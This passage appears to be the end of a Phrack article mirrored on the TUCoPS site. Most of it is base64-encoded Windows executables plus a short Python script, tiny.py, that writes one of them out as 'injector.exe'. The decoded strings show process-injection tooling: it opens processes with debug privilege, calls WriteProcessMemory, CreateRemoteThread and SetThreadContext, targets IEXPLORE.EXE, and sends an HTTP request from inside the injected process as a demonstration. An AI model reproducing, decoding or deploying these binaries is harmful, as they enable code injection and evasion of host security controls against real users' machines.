AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI
lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")


############################### tiny.py ###############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY
2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//
agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm
oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl
QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX
RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH
ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG
Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw
IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi
B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA
AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h
AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA
AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h
cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE
NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0
AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA
AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz
MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm
VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz
dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3
VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA
AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA""")


|=[ EOF ]=---------------------------------------------------------------=|


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH